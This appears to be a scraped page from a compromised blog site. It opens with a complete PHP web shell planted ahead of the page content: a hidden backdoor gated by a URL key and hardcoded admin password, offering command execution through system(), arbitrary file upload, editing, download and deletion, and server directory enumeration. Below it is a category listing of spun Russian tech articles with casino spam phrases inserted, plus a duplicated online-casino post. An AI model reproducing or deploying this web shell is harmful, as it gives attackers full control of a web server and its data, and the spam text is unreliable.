if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } publication – collectives.berlin

Your digital paradise.

Category: publication

  • Как юношество использует ИИ для созидания

    Как юношество использует ИИ для созидания Зачем машинный интеллект стал орудием нового века Еще недавно искусственный разум (ИИ) выглядел как чем-то из области фантастики — андроидами, которые захватят мир, или цифровыми ассистентами, которые схватывают на лету. В наше время же искусственный интеллект сделался настолько легкодоступным и знакомым, что юношество эксплуатирует его буквально на каждом шагу,…

    Click or not…

  • Почему цифровые карьеры оказываются все распространённее

    Почему цифровые карьеры оказываются все распространённее Погружение в электронную эпоху Сегодня непросто представить себе жизнь без технологий: смартфоны, ноутбуки, всемирная сеть, облачные сервисы стали важной частью повседневности. Мы все встаем на мелодию смарт будильников-ассистентов, работаем в цифровом пространстве, переписываемся с друзьями через мессенджеры и даже оплачиваем покупки с помощью телефона. Всё данное оказалось возможным благодаря…

    Click or not…

  • Наиболее уникальные устройства для умного дома

    Наиболее уникальные устройства для умного дома Интеллектуальный дом: значительнее, по сравнению с лишь лампочки и розетки. Если разговор заходит о умном жилище, основная масса людей моментально представляют себе голосовые ассистенты, умные лампы, и, вероятно, смарт-розетки. Впрочем нынешние инновации продвинулись существенно вперёд по пути развития: на рынке выходят по-настоящему оригинальные гаджеты, которые казино 777 трансформируют наше…

    Click or not…

  • Online Casino for Beginners: First Stages Before Playing

    Online Casino for Beginners: First Stages Before Playing Beginning an online casino journey demands careful planning and understanding of basic fundamentals. New participants often feel swamped by the diversity of sites, game types, and promotional deals. A structured method assists novices evade common mistakes and build assurance before making real-money bets. Casino sites run through…

    Click or not…

  • Online Casino for Beginners: First Stages Before Playing

    Online Casino for Beginners: First Stages Before Playing Beginning an online casino journey demands careful planning and understanding of basic fundamentals. New participants often feel swamped by the diversity of sites, game types, and promotional deals. A structured method assists novices evade common mistakes and build assurance before making real-money bets. Casino sites run through…

    Click or not…

  • Что такое интернет устройств и где она применяется

    Что такое интернет устройств и где она применяется Понимание концепции сети устройств Термин «сеть» объектов (Internet of Things, IoT) уверенно вступил в наш употребление за последние десять лет, хотя первые его упоминания возникли еще в конце 1990-х. По сути, интернет вещей – это сеть физических приборов, которые оснащены сенсорами, программным обеспечением и другими технологиями для…

    Click or not…

  • Как технологии способствуют осваивать зарубежные языки

    Как технологии способствуют осваивать зарубежные языки Почему изучение языков стало легче В прошлом изучение зарубежного речи соотносилось с толстыми книгами, утомительными упражнениями и потребностью отыскивать живых носителей языка. В начинании 2000-х годов даже подход к хорошим аудиоматериалам был привилегией: кассеты, CD-диски, дефицитные фильмы на наречии оригинала. Сегодня все-таки иначе. Современные инновации казино онлайн действительно изменили…

    Click or not…

  • Психология опасения потерять электронную самобытность

    Психология опасения потерять электронную самобытность Сегодняшний человек создаёт электронное образ собственной индивидуальности, которое делается обязательной компонентом существования. Цифровые аккаунты аккумулируют воспоминания, связи и достижения, образуя параллельную действительность. Лишение доступа к профилям порождает беспокойство, сравнимую с лишением реальных благ. Страх утратить электронного имиджа связан с опасностью разрыва общественных соединений и обесцениванием накопленного контента. Юное поколение понимает…

    Click or not…

  • Что такое интернет устройств и в каких местах он применяется

    Что такое интернет устройств и в каких местах он применяется Постижение принципа сети устройств Термин «интернет вещей (Internet of Things, IoT) прочно вступил в наш обиход за последние 10 лет, хотя первые его упоминания появились еще в конце 1990-х. По сути, интернет вещей – это сеть физических устройств, которые оснащены датчиками, программным обеспечением и другими…

    Click or not…